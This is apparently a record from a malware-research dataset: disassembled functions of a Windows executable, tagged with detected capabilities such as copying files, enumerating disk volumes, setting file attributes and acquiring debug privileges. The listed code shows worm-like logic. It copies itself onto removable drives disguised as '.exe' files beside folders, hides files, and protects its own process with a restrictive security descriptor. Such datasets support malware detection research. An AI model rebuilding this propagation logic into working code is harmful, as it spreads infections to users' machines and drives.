joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b20
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
sub esp, 0x26c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x264], eax
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x267
push 8
push eax
mov ebx, ecx
call edi
mov ecx, dword [0x4086b4]
push 0x267
push 8
mov ebp, eax
push ecx
mov dword [esp + 0x20], ebp
call edi
push ebx
push 0x102
push ebp
mov esi, eax
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
push ebx
push 0x102
push esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4086b4]
add esp, 0x18
push 0x267
push 8
push edx
call edi
push 0x407420
push 0x102
push ebp
mov ebp, dword [sym.imp.MSVCR80.dll_wcscat_s]
mov ebx, eax
call ebp
mov eax, dword [0x4086b4]
add esp, 0xc
push 0x208
push 8
push eax
call edi
mov edi, eax
push 0x102
push edi
push 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x404cf7
mov eax, dword [esp + 0x20]
mov ecx, eax
or ecx, 0x10
cmp eax, ecx
jne 0x404ca6
lea edx, [esp + 0x4c]
push edx
push 0x102
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404c16
sub eax, edx
sar eax, 1
mov edx, eax
lea ecx, [edx + 0x5a]
cmp edx, ecx
ja 0x404c48
sub ecx, edx
add ecx, 1
shr ecx, 1
lea edi, [ebx + edx*2]
mov eax, 0x200020
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edi, dword [esp + 0x18]
push str..exe
push 0x102
push ebx
mov word [ebx + edx*2 + 0xb6], 0
call ebp
lea eax, [esp + 0x58]
push eax
push 0x102
push esi
call ebp
add esp, 0x18
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push 0x102
push esi
mov word [esi + 6], 0
call ebp
add esp, 0xc
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov word [esi + 6], 0
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404bec
mov eax, dword [esp + 0x14]
mov ecx, dword [0x4086b4]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
push 0
push ecx
call ebp
mov edx, dword [0x4086b4]
push ebx
push 0
push edx
call ebp
mov eax, dword [0x4086b4]
push esi
push 0
push eax
call ebp
mov ecx, dword [0x4086b4]
push edi
push 0
push ecx
call ebp
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405260
add esp, 0x26c
ret

Function at 0x405260
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40526a
repz ret
jmp fcn.0040558b
Function at 0x44f000
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x204
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x200], eax
push ebx
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x1f8
lea eax, [esp + 0x12]
push ebx
push eax
mov word [esp + 0x18], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
xor eax, eax
push ebx
mov ecx, 0x7e
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push ecx
push 0x1f6
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 1
lea edx, [esp + 0xe]
lea eax, [ecx - 1]
cmp eax, 0x19
jl 0x44f074
cmp eax, 0x23
jle 0x44f0b3
cmp eax, 0x37
jl 0x44f07e
cmp eax, 0x41
jle 0x44f0b3
cmp eax, 0x56
jl 0x44f088
cmp eax, 0x60
jle 0x44f0b3
cmp eax, 0x7f
jl 0x44f094
cmp eax, 0x89
jle 0x44f0b3
cmp eax, 0xc1
jl 0x44f0a2
cmp eax, 0xcb
jle 0x44f0b3
lea eax, [ecx - 0xef]
cmp eax, 0xa
jbe 0x44f0b3
movzx eax, word [edx - 2]
add ebx, eax
cmp ecx, 0x19
jl 0x44f0bd
cmp ecx, 0x23
jle 0x44f103
cmp ecx, 0x37
jl 0x44f0c7
cmp ecx, 0x41
jle 0x44f103
cmp ecx, 0x56
jl 0x44f0d1
cmp ecx, 0x60
jle 0x44f103
cmp ecx, 0x7f
jl 0x44f0de
cmp ecx, 0x89
jle 0x44f103
cmp ecx, 0xc1
jl 0x44f0ee
cmp ecx, 0xcb
jle 0x44f103
cmp ecx, 0xee
jl 0x44f0fe
cmp ecx, 0xf8
jle 0x44f103
movzx eax, word [edx]
add ebx, eax
lea eax, [ecx + 1]
cmp eax, 0x19
jl 0x44f110
cmp eax, 0x23
jle 0x44f152
cmp eax, 0x37
jl 0x44f11a
cmp eax, 0x41
jle 0x44f152
cmp eax, 0x56
jl 0x44f124
cmp eax, 0x60
jle 0x44f152
cmp eax, 0x7f
jl 0x44f130
cmp eax, 0x89
jle 0x44f152
cmp eax, 0xc1
jl 0x44f13e
cmp eax, 0xcb
jle 0x44f152
cmp eax, 0xee
jl 0x44f14c
cmp eax, 0xf8
jle 0x44f152
movzx eax, word [edx + 2]
add ebx, eax
lea eax, [ecx + 2]
cmp eax, 0x19
jl 0x44f15f
cmp eax, 0x23
jle 0x44f1a1
cmp eax, 0x37
jl 0x44f169
cmp eax, 0x41
jle 0x44f1a1
cmp eax, 0x56
jl 0x44f173
cmp eax, 0x60
jle 0x44f1a1
cmp eax, 0x7f
jl 0x44f17f
cmp eax, 0x89
jle 0x44f1a1
cmp eax, 0xc1
jl 0x44f18d
cmp eax, 0xcb
jle 0x44f1a1
cmp eax, 0xee
jl 0x44f19b
cmp eax, 0xf8
jle 0x44f1a1
movzx eax, word [edx + 4]
add ebx, eax
lea eax, [ecx + 3]
cmp eax, 0x19
jl 0x44f1ae
cmp eax, 0x23
jle 0x44f1f0
cmp eax, 0x37
jl 0x44f1b8
cmp eax, 0x41
jle 0x44f1f0
cmp eax, 0x56
jl 0x44f1c2
cmp eax, 0x60
jle 0x44f1f0
cmp eax, 0x7f
jl 0x44f1ce
cmp eax, 0x89
jle 0x44f1f0
cmp eax, 0xc1
jl 0x44f1dc
cmp eax, 0xcb
jle 0x44f1f0
cmp eax, 0xee
jl 0x44f1ea
cmp eax, 0xf8
jle 0x44f1f0
movzx eax, word [edx + 6]
add ebx, eax
lea eax, [ecx + 4]
cmp eax, 0x19
jl 0x44f1fd
cmp eax, 0x23
jle 0x44f23f
cmp eax, 0x37
jl 0x44f207
cmp eax, 0x41
jle 0x44f23f
cmp eax, 0x56
jl 0x44f211
cmp eax, 0x60
jle 0x44f23f
cmp eax, 0x7f
jl 0x44f21d
cmp eax, 0x89
jle 0x44f23f
cmp eax, 0xc1
jl 0x44f22b
cmp eax, 0xcb
jle 0x44f23f
cmp eax, 0xee
jl 0x44f239
cmp eax, 0xf8
jle 0x44f23f
movzx eax, word [edx + 8]
add ebx, eax
add ecx, 6
lea eax, [ecx - 1]
add edx, 0xc
cmp eax, 0xfb
jle 0x44f067
mov ecx, dword [esp + 0x208]
mov eax, ebx
sub eax, 0x3dcc
neg eax
pop edi
sbb eax, eax
pop ebx
xor ecx, esp
call fcn.00453260
add esp, 0x204
ret
Function at 0x450ad0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x450b34
lea edx, [esp + 4]
push edx
push 0x4073f0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
push 0x10
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x10]
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x1c
ret
Function at 0x451060
Capabilities:
Check mutex on windows
Copy file
Create thread
Resume thread

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call fcn.004526c0
push 0
call fcn.00450b40
mov eax, dword [0x4086a0]
push eax
call fcn.00453090
add esp, 8
push 0x8007
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00452d30
call fcn.00451af0
call fcn.00452e40
call fcn.00450ad0
test eax, eax
jne 0x4510bd
mov dword [0x4086b0], 1
call esi
push 0
lea ecx, [esp + 0x10]
push ecx
push 1
push str.D:P_D_OICI_RPWPCCDCLCSWRCWDWOGA___LA__D_OICI_RPWPCCDCLCSWRCWDWOGA___BA__D_OICI_RPWPCCDCLCSWRCWDWOGA___SY__D_OICI_RPWPCCDCLCSWRCWDWOGA___LS__D_OICI_RPWPCCDCLCSWRCWDWOGA___SU_
mov esi, eax
mov dword [esp + 0x18], 0xc
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x4510f7
mov edx, dword [esp + 0xc]
push edx
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
mov eax, dword [0x4086bc]
push eax
xor eax, eax
call fcn.00452080
mov ecx, dword [0x4086bc]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMutexW]
add esp, 4
push ecx
push 0
push 0
call ebp
push 0x14
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x451134
pop esi
xor eax, eax
pop ebp
add esp, 0x28
ret 0x10
mov edx, dword [0x4086b0]
push edx
call fcn.00450b40
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push 0x4045c0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ResumeThread]
push eax
call edi
mov ecx, dword [0x4086b4]
push 0x54
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
push ebx
call fcn.00451330
add esp, 4
push ebx
push 0
push 0
call ebp
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x45119d
cmp eax, 0x80
jne 0x4511a2
call fcn.00451d60
call fcn.00452910
lea edx, [esp + 0x1c]
push edx
push 4
push 0
push 0x403ad0
push 0
push 0
call esi
push eax
call edi
lea eax, [esp + 0x20]
push eax
push 4
push 0
push 0x403d40
push 0
push 0
call esi
push eax
call edi
lea ecx, [esp + 0x24]
push ecx
push 4
push 0
push 0x402640
push 0
push 0
call esi
push eax
call edi
lea edx, [esp + 0x28]
push edx
push 4
push 0
push 0x403030
push 0
push 0
call esi
push eax
call edi
lea eax, [esp + 0x2c]
push eax
push 4
push 0
push 0x404d10
push 0
push 0
call esi
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea esp, [esp]
cmp dword [0x4085bc], 0
je 0x451270
mov ecx, dword [0x4086a4]
mov edx, dword [0x4086a0]
push 0
push ecx
push edx
call ebx
cmp dword [0x4085c0], 0
jne 0x451270
mov eax, dword [0x4086a4]
push 0
push 2
push 4
push 0
push 1
push 0x80000000
push eax
call esi
mov dword [0x4085c0], eax
push 0x1388
call edi
jmp 0x451230
Function at 0x451280
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebp
push esi
push edi
push 0x208
mov esi, eax
mov eax, dword [0x4086b4]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
xor eax, eax
push eax
push eax
push eax
mov ecx, 0x82
mov edi, ebp
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x1f6
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea edx, [ebp + 4]
mov esi, 0xfc
mov eax, 0x65
cmp word [edx - 4], 0x2e
jne 0x451307
cmp word [edx - 2], ax
jne 0x451307
cmp word [edx], 0x78
jne 0x451307
cmp word [edx + 2], ax
jne 0x451307
xor eax, eax
lea ecx, [edx - 0x12]
nop
mov di, word [ecx]
mov word [ebx + eax*2], di
add eax, 1
add ecx, 2
cmp eax, 0xa
jle 0x4512f0
mov eax, 0x65
add edx, 2
sub esi, 1
jne 0x4512d1
mov edx, dword [0x4086b4]
push ebp
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ecx
ret
Function at 0x451af0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 0x1e0
push 8
push eax
call esi
push 0xef
mov ebx, eax
push ebx
xor ebp, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x4086b4]
push 0x1e0
push 8
push ecx
call esi
mov esi, eax
push 0xef
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov word [esi + 6], bp
mov word [esi + 8], bp
mov edx, dword [0x408684]
push edx
push 0xef
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
mov edi, dword [sym.imp.MSVCR80.dll__wcsicmp]
push ebx
push esi
call edi
add esp, 0x14
test eax, eax
je 0x451c3e
mov eax, dword [0x408698]
push eax
push ebx
call edi
add esp, 8
test eax, eax
je 0x451c3e
xor edi, edi
mov eax, 2
lea ecx, [ebx + 4]
mov edx, 0x5c
jmp 0x451b90
cmp word [ecx - 4], dx
jne 0x451b99
lea edi, [eax - 2]
cmp word [ecx - 2], dx
jne 0x451ba2
lea edi, [eax - 1]
cmp word [ecx], dx
jne 0x451ba9
mov edi, eax
cmp word [ecx + 2], dx
jne 0x451bb2
lea edi, [eax + 1]
cmp word [ecx + 4], dx
jne 0x451bbb
lea edi, [eax + 2]
cmp word [ecx + 6], dx
jne 0x451bc4
lea edi, [eax + 3]
add eax, 6
lea ebp, [eax - 2]
add ecx, 0xc
cmp ebp, 0xef
jle 0x451b90
lea edx, [edi - 1]
test edx, edx
jl 0x451bf4
mov ecx, ebx
sub ecx, esi
mov eax, esi
add edx, 1
mov bp, word [ecx + eax]
mov word [eax], bp
add eax, 2
sub edx, 1
jne 0x451be5
xor ebp, ebp
mov word [esi + edi*2], bp
mov word [esi], 0x43
mov ecx, dword [0x4085ec]
push ecx
push esi
call dword [sym.imp.MSVCR80.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x451c3e
push ebp
mov word [esi + 6], bp
call fcn.00450b40
mov edx, dword [0x4086a0]
push edx
call fcn.00453090
add esp, 8
push 1
push ebp
push ebp
push esi
push str.open
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [0x4086b4]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push ebp
push eax
call edi
mov ecx, dword [0x4086b4]
push esi
push ebp
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x452910
Capabilities:
Check if file exists
Check mutex on windows
Get file size
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [0x4086b4]
push esi
push edi
push 0x96
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [0x4086a4]
push esi
call fcn.00452080
add esp, 4
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xbb8
push eax
mov dword [esp + 0x10], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
jne 0x4529fd
mov ecx, dword [0x4086a8]
push 0
push 6
push 4
push 0
push 1
push 0x40000000
push ecx
call esi
cmp eax, 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4085c8], eax
jne 0x4529c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x452a67
mov edx, dword [0x4085c8]
push edx
call edi
mov eax, dword [0x4086a8]
push 0
push 6
push 1
push 0
push 1
push 0x40000000
push eax
call esi
mov dword [0x4085c8], eax
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x4085c8]
push 0
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [0x4085c8]
push ecx
call edi
mov dword [0x4085c8], 0
jmp 0x452a06
cmp dword [0x4085c8], 0
jne 0x452a42
mov edx, dword [0x4086a8]
push 0
push 0
push 4
push 0
push 1
push 0x80000000
push edx
call esi
push 0
push eax
mov dword [0x4085c8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xbb8
mov dword [0x4085cc], eax
jbe 0x452a42
mov dword [0x4085bc], 1
cmp dword [0x4085c4], 0
jne 0x452a67
mov eax, dword [0x4086a0]
push 0
push 0
push 4
push 0
push 1
push 0x80000000
push eax
call esi
mov dword [0x4085c4], eax
pop edi
pop esi
add esp, 8
ret

Function at 0x452a70
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0xc
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x208
push 8
push eax
call edi
mov ecx, dword [0x4086b4]
push 0x190
push 8
push ecx
mov esi, eax
call edi
push 0x102
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [esp + 0x14], eax
lea esp, [esp]
lea edx, [esp + 0x18]
push edx
push 0x102
push edi
push esi
call ebx
push edi
call ebp
cmp eax, 2
jne 0x452add
mov ecx, edi
call fcn.00452b20
mov eax, dword [esp + 0x14]
push 0x102
push esi
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x452ac0
mov ecx, dword [0x4086b4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
push ecx
call esi
mov edx, dword [0x4086b4]
push edi
push 0
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x452b20
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
sub esp, 0x26c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x264], eax
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x267
push 8
push eax
mov ebx, ecx
call edi
mov ecx, dword [0x4086b4]
push 0x267
push 8
mov ebp, eax
push ecx
mov dword [esp + 0x20], ebp
call edi
push ebx
push 0x102
push ebp
mov esi, eax
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
push ebx
push 0x102
push esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4086b4]
add esp, 0x18
push 0x267
push 8
push edx
call edi
push 0x407420
push 0x102
push ebp
mov ebp, dword [sym.imp.MSVCR80.dll_wcscat_s]
mov ebx, eax
call ebp
mov eax, dword [0x4086b4]
add esp, 0xc
push 0x208
push 8
push eax
call edi
mov edi, eax
push 0x102
push edi
push 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x452cf7
mov eax, dword [esp + 0x20]
mov ecx, eax
or ecx, 0x10
cmp eax, ecx
jne 0x452ca6
lea edx, [esp + 0x4c]
push edx
push 0x102
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x452c16
sub eax, edx
sar eax, 1
mov edx, eax
lea ecx, [edx + 0x5a]
cmp edx, ecx
ja 0x452c48
sub ecx, edx
add ecx, 1
shr ecx, 1
lea edi, [ebx + edx*2]
mov eax, 0x200020
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edi, dword [esp + 0x18]
push str..exe
push 0x102
push ebx
mov word [ebx + edx*2 + 0xb6], 0
call ebp
lea eax, [esp + 0x58]
push eax
push 0x102
push esi
call ebp
add esp, 0x18
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push 0x102
push esi
mov word [esi + 6], 0
call ebp
add esp, 0xc
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov word [esi + 6], 0
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x452bec
mov eax, dword [esp + 0x14]
mov ecx, dword [0x4086b4]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
push 0
push ecx
call ebp
mov edx, dword [0x4086b4]
push ebx
push 0
push edx
call ebp
mov eax, dword [0x4086b4]
push esi
push 0
push eax
call ebp
mov ecx, dword [0x4086b4]
push edi
push 0
push ecx
call ebp
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00453260
add esp, 0x26c
ret
Function at 0x452d30
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Set file attributes

Disassembly:
push ecx
mov eax, dword [0x4086b4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x2c6
push 8
push eax
call esi
mov ecx, dword [0x4086b4]
push 0x2bc
push 8
push ecx
mov ebx, eax
call esi
push 0x104
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push 0x15e
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, esi
add esp, 0xc
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x452d80
sub eax, edx
sar eax, 1
add eax, 0xffffffff
js 0x452da0
cmp word [esi + eax*2], 0x2e
je 0x452e0f
sub eax, 1
jns 0x452d94
mov edx, dword [esp + 8]
push esi
mov word [esi + edx*2], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x452dc5
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
push esi
call edi
push 6
push ebx
call edi
push 1
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
mov edx, dword [0x4086b4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push edx
call esi
mov eax, dword [0x4086b4]
push ebx
push 0
push eax
call esi
pop esi
pop ebx
pop ecx
ret
add eax, 0xffffffff
lea ecx, [eax - 0x5a]
cmp eax, ecx
jl 0x452da0
lea esp, [esp]
cmp word [esi + eax*2], 0x20
jne 0x452dee
mov edx, eax
sub eax, 1
cmp eax, ecx
jge 0x452e20
jmp 0x452da4
Function at 0x452e40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Terminate process

Disassembly:
sub esp, 0x660
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x65c], eax
mov eax, dword [0x4086b4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebp
push esi
push edi
push 0x208
push 8
push eax
call ebx
push 0x102
push eax
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edi, edi
jmp 0x452e90
mov ecx, dword [0x4086b4]
push 0x208
push 8
push ecx
call ebx
mov esi, eax
push 0x102
push esi
mov dword [esp + edi*4 + 0x20], esi
call ebp
add edi, 1
cmp edi, 5
mov word [esi + 6], 0
jle 0x452e90
mov edx, dword [0x408680]
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.MSVCR80.dll_wcscat_s]
push edx
push 0x102
push esi
call edi
mov eax, dword [0x408684]
mov ebp, dword [esp + 0x28]
push eax
push 0x102
push ebp
call edi
mov ecx, dword [0x408688]
mov edi, dword [esp + 0x38]
mov ebx, dword [sym.imp.MSVCR80.dll_wcscpy_s]
push ecx
push 0x102
push edi
call ebx
mov edx, dword [esp + 0x48]
push edx
mov eax, esi
call fcn.00452080
mov eax, dword [esp + 0x50]
push eax
mov eax, ebp
call fcn.00452080
mov ecx, dword [esp + 0x58]
push ecx
mov eax, edi
call fcn.00452080
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMutexW]
add esp, 0x30
xor esi, esi
lea edi, [esp + 0x23c]
jmp 0x452f40
mov edx, dword [esp + esi*4 + 0x18]
push edx
lea eax, [edi - 0x208]
push 0x102
push eax
call ebx
mov ecx, dword [esp + esi*4 + 0x30]
add esp, 0xc
push ecx
push 0
push 0
mov dword [edi], esi
call ebp
mov dword [edi - 0x20c], eax
mov dword [edi + 4], 0
add esi, 1
add edi, 0x214
cmp esi, 2
jle 0x452f40
mov eax, dword [esp + 0x240]
cmp eax, 0xffffffff
je 0x452f8f
add eax, 0xc8
mov edx, dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ebp, eax
mov eax, dword [esp + 0x30]
push eax
call edi
mov ecx, dword [esp + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call ebx
mov eax, dword [esp + 0x454]
cmp eax, 0xffffffff
je 0x452fca
add eax, 0xc8
mov edx, dword [esp + 0x244]
push eax
push edx
call esi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x244]
push eax
call edi
mov ecx, dword [esp + 0x244]
push ecx
call ebx
mov eax, dword [esp + 0x668]
cmp eax, 0xffffffff
je 0x452ffe
add eax, 0xc8
mov edx, dword [esp + 0x458]
push eax
push edx
call esi
mov esi, eax
mov eax, dword [esp + 0x458]
push eax
call edi
mov ecx, dword [esp + 0x458]
push ecx
call ebx
cmp ebp, 0x102
jne 0x453039
cmp dword [esp + 0x14], ebp
jne 0x453039
cmp esi, ebp
jne 0x453039
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov edx, dword [esp + esi*4 + 0x18]
mov eax, dword [0x4086b4]
push edx
push 8
push eax
call edi
add esi, 1
cmp esi, 5
jle 0x453041
mov ecx, dword [esp + 0x10]
mov edx, dword [0x4086b4]
push ecx
push 8
push edx
call edi
mov ecx, dword [esp + 0x66c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00453260
add esp, 0x660
ret